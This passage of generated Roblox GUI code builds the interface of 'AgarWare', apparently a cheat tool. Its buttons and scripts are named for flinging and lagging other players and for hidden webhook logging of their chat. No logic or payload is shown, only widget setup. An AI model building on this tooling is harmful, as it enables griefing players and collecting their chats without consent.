Instance.new("TextLabel", G2L["32c"]); G2L["32e"]["BorderSizePixel"] = 0; G2L["32e"]["TextSize"] = 14; G2L["32e"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["32e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["32e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32e"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["32e"]["BackgroundTransparency"] = 1; G2L["32e"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["32e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32e"]["Text"] = [[Fling Mode:]]; G2L["32e"]["Name"] = [[FlingType]]; G2L["32e"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeHelp G2L["32f"] = Instance.new("TextButton", G2L["32c"]); G2L["32f"]["TextSize"] = 14; G2L["32f"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["32f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["32f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["32f"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["32f"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["32f"]["Text"] = [[?]]; G2L["32f"]["Name"] = [[FlingTypeHelp]]; G2L["32f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow G2L["330"] = Instance.new("Frame", G2L["320"]); G2L["330"]["BorderSizePixel"] = 0; G2L["330"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["330"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["330"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["330"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["330"]["Name"] = [[FlingTypeDropdownRow]]; G2L["330"]["LayoutOrder"] = 6; G2L["330"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeDropdownRow.FlingTypeDropdown G2L["331"] = Instance.new("TextButton", G2L["330"]); G2L["331"]["TextSize"] = 14; G2L["331"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["331"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["331"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["331"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["331"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["331"]["Text"] = [[Default]]; G2L["331"]["Name"] = [[FlingTypeDropdown]]; G2L["331"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow G2L["332"] = Instance.new("Frame", G2L["320"]); G2L["332"]["BorderSizePixel"] = 0; G2L["332"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["332"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["332"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["332"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["332"]["Name"] = [[LoopFlingRow]]; G2L["332"]["LayoutOrder"] = 10; G2L["332"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.LoopFlingRow.LoopFlingButton G2L["333"] = Instance.new("TextButton", G2L["332"]); G2L["333"]["TextSize"] = 14; G2L["333"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["333"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["333"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["333"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["333"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["333"]["Text"] = [[Loop Fling Players]]; G2L["333"]["Name"] = [[LoopFlingButton]]; G2L["333"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide G2L["334"] = Instance.new("Frame", G2L["31d"]); G2L["334"]["BorderSizePixel"] = 0; G2L["334"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["334"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["334"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["334"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["334"]["Name"] = [[TrollRightSide]]; G2L["334"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollRightSide.UIListLayout G2L["335"] = Instance.new("UIListLayout", G2L["334"]); G2L["335"]["Padding"] = UDim.new(0, 7); G2L["335"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.TopBar G2L["336"] = Instance.new("Frame", G2L["9"]); G2L["336"]["BorderSizePixel"] = 0; G2L["336"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["336"]["Size"] = UDim2.new(0, 442, 0, 25); G2L["336"]["Position"] = UDim2.new(-0, 0, 0, 0); G2L["336"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["336"]["Name"] = [[TopBar]]; -- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript G2L["337"] = Instance.new("LocalScript", G2L["336"]); G2L["337"]["Name"] = [[TopBarScript]]; -- StarterGui.AgarWareGui.MainFrame.TopBar.MinimizeGUI G2L["338"] = Instance.new("TextButton", G2L["336"]); G2L["338"]["BorderSizePixel"] = 0; G2L["338"]["TextSize"] = 14; G2L["338"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["338"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["338"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["338"]["BackgroundTransparency"] = 1; G2L["338"]["Size"] = UDim2.new(0, 25, 0, 25); G2L["338"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["338"]["Text"] = [[-]]; G2L["338"]["Name"] = [[MinimizeGUI]]; G2L["338"]["Position"] = UDim2.new(0.99919, -25, 0, 0); -- StarterGui.AgarWareGui.MainFrame.TopBar.TITLE G2L["339"] = Instance.new("TextLabel", G2L["336"]); G2L["339"]["BorderSizePixel"] = 0; G2L["339"]["TextSize"] = 12; G2L["339"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["339"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["339"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["339"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["339"]["BackgroundTransparency"] = 1; G2L["339"]["RichText"] = true; G2L["339"]["Size"] = UDim2.new(0, 200, 0, 25); G2L["339"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["339"]["Text"] = [[AGAR WARE | 60 fps | players: 1]]; G2L["339"]["Name"] = [[TITLE]]; G2L["339"]["Position"] = UDim2.new(0.00679, 0, 0, 0); -- StarterGui.AgarWareGui.KeybindFrame G2L["33a"] = Instance.new("Frame", G2L["1"]); G2L["33a"]["ZIndex"] = 999999999; G2L["33a"]["BorderSizePixel"] = 0; G2L["33a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["33a"]["Size"] = UDim2.new(0, 80, 0, 88); G2L["33a"]["Position"] = UDim2.new(0.70017, 0, 0.01856, 0); G2L["33a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["33a"]["Name"] = [[KeybindFrame]]; G2L["33a"]["BackgroundTransparency"] = 0.9; -- StarterGui.AgarWareGui.KeybindFrame.KeybindScript G2L["33b"] = Instance.new("LocalScript", G2L["33a"]); G2L["33b"]["Name"] = [[KeybindScript]]; -- StarterGui.AgarWareGui.KeybindFrame.HideGUI G2L["33c"] = Instance.new("TextButton", G2L["33a"]); G2L["33c"]["TextSize"] = 14; G2L["33c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33c"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["33c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33c"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["33c"]["LayoutOrder"] = 1; G2L["33c"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["33c"]["Text"] = [[Hide GUI]]; G2L["33c"]["Name"] = [[HideGUI]]; -- StarterGui.AgarWareGui.KeybindFrame.UIListLayout G2L["33d"] = Instance.new("UIListLayout", G2L["33a"]); G2L["33d"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.KeybindFrame.LockGUI G2L["33e"] = Instance.new("TextButton", G2L["33a"]); G2L["33e"]["TextSize"] = 14; G2L["33e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33e"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["33e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33e"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["33e"]["LayoutOrder"] = 2; G2L["33e"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["33e"]["Text"] = [[Lock GUI]]; G2L["33e"]["Name"] = [[LockGUI]]; G2L["33e"]["Position"] = UDim2.new(0, 0, 0.28409, 0); -- StarterGui.AgarWareGui.KeybindFrame.VersionNumber G2L["33f"] = Instance.new("TextButton", G2L["33a"]); G2L["33f"]["TextWrapped"] = true; G2L["33f"]["TextSize"] = 14; G2L["33f"]["TextScaled"] = true; G2L["33f"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["33f"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["33f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33f"]["Size"] = UDim2.new(0, 80, 0, 15); G2L["33f"]["LayoutOrder"] = 30; G2L["33f"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["33f"]["Text"] = [[v2.9.1]]; G2L["33f"]["Name"] = [[VersionNumber]]; G2L["33f"]["Position"] = UDim2.new(0, 0, 1.25, 0); -- StarterGui.AgarWareGui.KeybindFrame.DragGUI G2L["340"] = Instance.new("TextButton", G2L["33a"]); G2L["340"]["TextSize"] = 14; G2L["340"]["TextColor3"] = Color3.fromRGB(154, 154, 154); G2L["340"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["340"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["340"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["340"]["LayoutOrder"] = 3; G2L["340"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["340"]["Text"] = [[DRAG]]; G2L["340"]["Name"] = [[DragGUI]]; -- StarterGui.AgarWareGui.KeybindFrame.BringGUI G2L["341"] = Instance.new("TextButton", G2L["33a"]); G2L["341"]["TextWrapped"] = true; G2L["341"]["TextSize"] = 14; G2L["341"]["TextScaled"] = true; G2L["341"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["341"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["341"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["341"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["341"]["LayoutOrder"] = 2; G2L["341"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["341"]["Text"] = [[Recenter GUI]]; G2L["341"]["Name"] = [[BringGUI]]; G2L["341"]["Position"] = UDim2.new(0, 0, 0.28409, 0); -- StarterGui.AgarWareGui.ConfirmGriefFrame G2L["342"] = Instance.new("Frame", G2L["1"]); G2L["342"]["Visible"] = false; G2L["342"]["ZIndex"] = 999999999; G2L["342"]["BorderSizePixel"] = 0; G2L["342"]["BackgroundColor3"] = Color3.fromRGB(0, 84, 173); G2L["342"]["Size"] = UDim2.new(0, 135, 0, 161); G2L["342"]["Position"] = UDim2.new(0.66486, 0, 0.2513, 0); G2L["342"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["342"]["Name"] = [[ConfirmGriefFrame]]; -- StarterGui.AgarWareGui.ConfirmGriefFrame.UIListLayout G2L["343"] = Instance.new("UIListLayout", G2L["342"]); G2L["343"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.ConfirmGriefFrame.FlingConfirm G2L["344"] = Instance.new("TextButton", G2L["342"]); G2L["344"]["TextSize"] = 16; G2L["344"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["344"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["344"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["344"]["Size"] = UDim2.new(0, 135, 0, 47); G2L["344"]["LayoutOrder"] = 3; G2L["344"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["344"]["Text"] = [[FLING PLAYER]]; G2L["344"]["Name"] = [[FlingConfirm]]; -- StarterGui.AgarWareGui.ConfirmGriefFrame.AlertConfirm G2L["345"] = Instance.new("TextButton", G2L["342"]); G2L["345"]["TextWrapped"] = true; G2L["345"]["TextSize"] = 16; G2L["345"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["345"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["345"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["345"]["Size"] = UDim2.new(0, 135, 0, 47); G2L["345"]["LayoutOrder"] = 3; G2L["345"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["345"]["Text"] = [[ALERT IN CHAT]]; G2L["345"]["Name"] = [[AlertConfirm]]; G2L["345"]["Position"] = UDim2.new(0, 0, 0.58065, 0); -- StarterGui.AgarWareGui.ConfirmGriefFrame.ConfirmTimer G2L["346"] = Instance.new("TextLabel", G2L["342"]); G2L["346"]["TextWrapped"] = true; G2L["346"]["TextSize"] = 14; G2L["346"]["TextScaled"] = true; G2L["346"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["346"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["346"]["TextColor3"] = Color3.fromRGB(0, 45, 86); G2L["346"]["Size"] = UDim2.new(0, 135, 0, 14); G2L["346"]["BorderColor3"] = Color3.fromRGB(0, 67, 132); G2L["346"]["Text"] = [[(20.0)]]; G2L["346"]["LayoutOrder"] = 10; G2L["346"]["Name"] = [[ConfirmTimer]]; G2L["346"]["Position"] = UDim2.new(0, 0, 0.0452, 0); -- StarterGui.AgarWareGui.ConfirmGriefFrame.FalseAlertConfirm G2L["347"] = Instance.new("TextButton", G2L["342"]); G2L["347"]["TextWrapped"] = true; G2L["347"]["TextSize"] = 20; G2L["347"]["TextScaled"] = true; G2L["347"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["347"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0); G2L["347"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["347"]["Size"] = UDim2.new(0, 135, 0, 23); G2L["347"]["LayoutOrder"] = 5; G2L["347"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["347"]["Text"] = [[FALSE ALERT & CANCEL]]; G2L["347"]["Name"] = [[FalseAlertConfirm]]; G2L["347"]["Position"] = UDim2.new(0, 0, 0.97191, 0); -- StarterGui.AgarWareGui.ConfirmGriefFrame.CancelConfirm G2L["348"] = Instance.new("TextButton", G2L["342"]); G2L["348"]["TextWrapped"] = true; G2L["348"]["TextSize"] = 16; G2L["348"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["348"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0); G2L["348"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["348"]["Size"] = UDim2.new(0, 135, 0, 47); G2L["348"]["LayoutOrder"] = 4; G2L["348"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["348"]["Text"] = [[EXIT]]; G2L["348"]["Name"] = [[CancelConfirm]]; G2L["348"]["Position"] = UDim2.new(0, 0, 0.90062, 0); -- StarterGui.AgarWareGui.ConfirmGriefFrame.GriefTargetLabel G2L["349"] = Instance.new("TextLabel", G2L["342"]); G2L["349"]["TextWrapped"] = true; G2L["349"]["TextSize"] = 14; G2L["349"]["TextScaled"] = true; G2L["349"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["349"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["349"]["TextColor3"] = Color3.fromRGB(0, 45, 86); G2L["349"]["Size"] = UDim2.new(0, 135, 0, 28); G2L["349"]["BorderColor3"] = Color3.fromRGB(0, 67, 132); G2L["349"]["Text"] = [[POSSIBLE GRIEF: Username]]; G2L["349"]["Name"] = [[GriefTargetLabel]]; -- StarterGui.AgarWareGui.ConfirmGriefFrame.PauseConfirm G2L["34a"] = Instance.new("TextButton", G2L["342"]); G2L["34a"]["TextWrapped"] = true; G2L["34a"]["TextSize"] = 16; G2L["34a"]["TextColor3"] = Color3.fromRGB(0, 45, 86); G2L["34a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["34a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["34a"]["Size"] = UDim2.new(0, 135, 0, 24); G2L["34a"]["LayoutOrder"] = 9; G2L["34a"]["BorderColor3"] = Color3.fromRGB(0, 67, 132); G2L["34a"]["Text"] = [[PAUSE TIMER]]; G2L["34a"]["Name"] = [[PauseConfirm]]; G2L["34a"]["Position"] = UDim2.new(0, 0, 0.75776, 0); -- StarterGui.AgarWareGui.Webhook G2L["34b"] = Instance.new("Folder", G2L["1"]); G2L["34b"]["Name"] = [[Webhook]]; -- StarterGui.AgarWareGui.Webhook.IngameLog G2L["34c"] = Instance.new("LocalScript", G2L["34b"]); G2L["34c"]["Name"] = [[IngameLog]]; -- StarterGui.AgarWareGui.Webhook.PealzLog G2L["34d"] = Instance.new("LocalScript", G2L["34b"]); G2L["34d"]["Name"] = [[PealzLog]]; -- StarterGui.AgarWareGui.Webhook.LagMachine G2L["34e"] = Instance.new("LocalScript", G2L["34b"]); G2L["34e"]["Name"] = [[LagMachine]]; -- StarterGui.AgarWareGui.Webhook.TCOLog G2L["34f"] = Instance.new("LocalScript", G2L["34b"]); G2L["34f"]["Name"] = [[TCOLog]]; -- StarterGui.AgarWareGui.Webhook.UniLog G2L["350"] = Instance.new("LocalScript", G2L["34b"]); G2L["350"]["Name"] = [[UniLog]]; -- StarterGui.AgarWareGui.Webhook.ChatLogs G2L["351"] = Instance.new("LocalScript", G2L["34b"]); G2L["351"]["Name"] = [[ChatLogs]]; -- StarterGui.AgarWareGui.Webhook.GlobalChatLogs G2L["352"] = Instance.new("LocalScript", G2L["34b"]); G2L["352"]["Name"] = [[GlobalChatLogs]]; -- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN G2L["353"] = Instance.new("LocalScript", G2L["34b"]); G2L["353"]["Name"] = [[ChatLogsHIDDEN]]; -- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN G2L["354"] = Instance.new("LocalScript", G2L["34b"]); G2L["354"]["Name"] = [[GlobalChatLogsHIDDEN]]; -- StarterGui.AgarWareGui.Webhook.UserChatLogs G2L["355"] = Instance.new("LocalScript", G2L["34b"]); G2L["355"]["Name"] = [[UserChatLogs]]; -- StarterGui.AgarWareGui.ColorPicker G2L["356"] = Instance.new("Frame", G2L["1"]); G2L["356"]["Visible"] = false; G2L["356"]["ZIndex"] = 999999999; G2L["356"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["356"]["Size"] = UDim2.new(0, 215, 0, 291); G2L["356"]["Position"] = UDim2.new(0.48922, 0, 0.35649, 0); G2L["356"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["356"]["Name"] = [[ColorPicker]]; -- StarterGui.AgarWareGui.ColorPicker.DragColorPicker G2L["357"] = Instance.new("LocalScript", G2L["356"]); G2L["357"]["Name"] = [[DragColorPicker]]; -- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript G2L["358"] = Instance.new("LocalScript", G2L["356"]); G2L["358"]["Name"] = [[ColorPickerScript]]; -- StarterGui.AgarWareGui.ColorPicker.ColorPickerTitle G2L["359"] = Instance.new("TextLabel", G2L["356"]); G2L["359"]["BorderSizePixel"] = 0; G2L["359"]["TextSize"] = 14; G2L["359"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["359"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["359"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["359"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["359"]["BackgroundTransparency"] = 1; G2L["359"]["Size"] = UDim2.new(0, 200, 0, 23); G2L["359"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["359"]["Text"] = [[Color Picker]]; G2L["359"]["Name"] = [[ColorPickerTitle]]; G2L["359"]["Position"] = UDim2.new(0.03241, 0, 0, 0); -- StarterGui.AgarWareGui.ColorPicker.CloseColorPicker G2L["35a"] = Instance.new("TextButton", G2L["356"]); G2L["35a"]["BorderSizePixel"] = 0; G2L["35a"]["TextSize"] = 14; G2L["35a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["35a"]["FontFace"] = Font.new([[rbxasset://fonts/families/RobotoMono.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35a"]["BackgroundTransparency"] = 1; G2L["35a"]["Size"] = UDim2.new(0, 25, 0, 25); G2L["35a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["35a"]["Text"] = [[x]]; G2L["35a"]["Name"] = [[CloseColorPicker]]; G2L["35a"]["Position"] = UDim2.new(0.88189, 0, -0.00065, 0); -- StarterGui.AgarWareGui.ColorPicker.HueSlider G2L["35b"] = Instance.new("Frame", G2L["356"]); G2L["35b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35b"]["Size"] = UDim2.new(0, 200, 0, 25); G2L["35b"]["Position"] = UDim2.new(0.03781, 0, 0.76607, 0); G2L["35b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["35b"]["Name"] = [[HueSlider]]; -- StarterGui.AgarWareGui.ColorPicker.SaturationValueCanvas G2L["35c"] = Instance.new("Frame", G2L["356"]); G2L["35c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35c"]["Size"] = UDim2.new(0, 200, 0, 200); G2L["35c"]["Position"] = UDim2.new(0.03781, 0, 0.07878, 0); G2L["35c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["35c"]["Name"] = [[SaturationValueCanvas]]; -- StarterGui.AgarWareGui.ColorPicker.ColorSelect G2L["35d"] = Instance.new("TextButton", G2L["356"]); G2L["35d"]["TextSize"] = 14; G2L["35d"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["35d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["35d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35d"]["Size"] = UDim2.new(0, 134, 0, 25); G2L["35d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["35d"]["Text"] = [[Select Color]]; G2L["35d"]["Name"] = [[ColorSelect]]; G2L["35d"]["Position"] = UDim2.new(0.34479, 0, 0.88097, 0); -- StarterGui.AgarWareGui.ColorPicker.HEX G2L["35e"] = Instance.new("TextBox", G2L["356"]); G2L["35e"]["Name"] = [[HEX]]; G2L["35e"]["PlaceholderColor3"] = Color3.fromRGB(179, 179, 179); G2L["35e"]["TextSize"] = 14; G2L["35e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35e"]["PlaceholderText"] = [[#ffffff]]; G2L["35e"]["Size"] = UDim2.new(0, 68, 0, 25); G2L["35e"]["Position"] = UDim2.new(0.02851, 0, 0.88097, 0); G2L["35e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["35e"]["Text"] = [[]]; -- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript G2L["35f"] = Instance.new("LocalScript", G2L["35e"]); G2L["35f"]["Name"] = [[HEXScript]]; -- StarterGui.AgarWareGui.LoadedMainFrame G2L["360"] = Instance.new("Frame", G2L["1"]); G2L["360"]["ZIndex"] = 999999999; G2L["360"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["360"]["Size"] = UDim2.new(0, 300, 0, 100); G2L["360"]["Position"] = UDim2.new(0.6571, 0, 0.1819, 0); G2L["360"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["360"]["Name"] = [[LoadedMainFrame]]; -- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript G2L["361"] = Instance.new("LocalScript", G2L["360"]); G2L["361"]["Name"] = [[LoadedScript]]; -- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame G2L["362"] = Instance.new("Frame", G2L["360"]); G2L["362"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["362"]["Size"] = UDim2.new(0, 284, 0, 84); G2L["362"]["Position"] = UDim2.new(0.02667, 0, 0.08, 0); G2L["362"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["362"]["Name"] = [[LoadedFrame]]; -- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.AGARWARELOADED G2L["363"] = Instance.new("TextLabel", G2L["362"]); G2L["363"]["TextWrapped"] = true; G2L["363"]["BorderSizePixel"] = 0; G2L["363"]["TextSize"] = 30; G2L["363"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["363"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["363"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["363"]["BackgroundTransparency"] = 1; G2L["363"]["Size"] = UDim2.new(0, 284, 0, 61); G2L["363"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["363"]["Text"] = [[AGAR WARE]]; G2L["363"]["Name"] = [[AGARWARELOADED]]; -- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.GameNameLoaded G2L["364"] = Instance.new("TextLabel", G2L["362"]); G2L["364"]["TextWrapped"] = true; G2L["364"]["BorderSizePixel"] = 0; G2L["364"]["TextSize"] = 16; G2L["364"]["TextTransparency"] = 0.4; G2L["364"]["TextScaled"] = true; G2L["364"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["364"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["364"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["364"]["BackgroundTransparency"] = 1; G2L["364"]["Size"] = UDim2.new(0, 284, 0, 21); G2L["364"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["364"]["Text"] = [[by agarv :)]]; G2L["364"]["Name"] = [[GameNameLoaded]]; G2L["364"]["Position"] = UDim2.new(0, 0, 0.65476, 0); -- StarterGui.AgarWareGui.WebhookLogging G2L["365"] = Instance.new("Folder", G2L["1"]); G2L["365"]["Name"] = [[WebhookLogging]]; -- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers G2L["366"] = Instance.new("LocalScript", G2L["365"]); G2L["366"]["Name"] = [[OnlineUsers]]; -- StarterGui.AgarWareGui.WebhookLogging.AgarChat G2L["367"] = Instance.new("LocalScript", G2L["365"]); G2L["367"]["Name"] = [[AgarChat]]; -- StarterGui.AgarWareGui.MasterScripts G2L["368"] = Instance.new("Folder", G2L["1"]); G2L["368"]["Name"] = [[MasterScripts]]; -- StarterGui.AgarWareGui.MasterScripts.ResetCharacter G2L["369"] = Instance.new("LocalScript", G2L["368"]); G2L["369"]["Name"] = [[ResetCharacter]]; -- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools 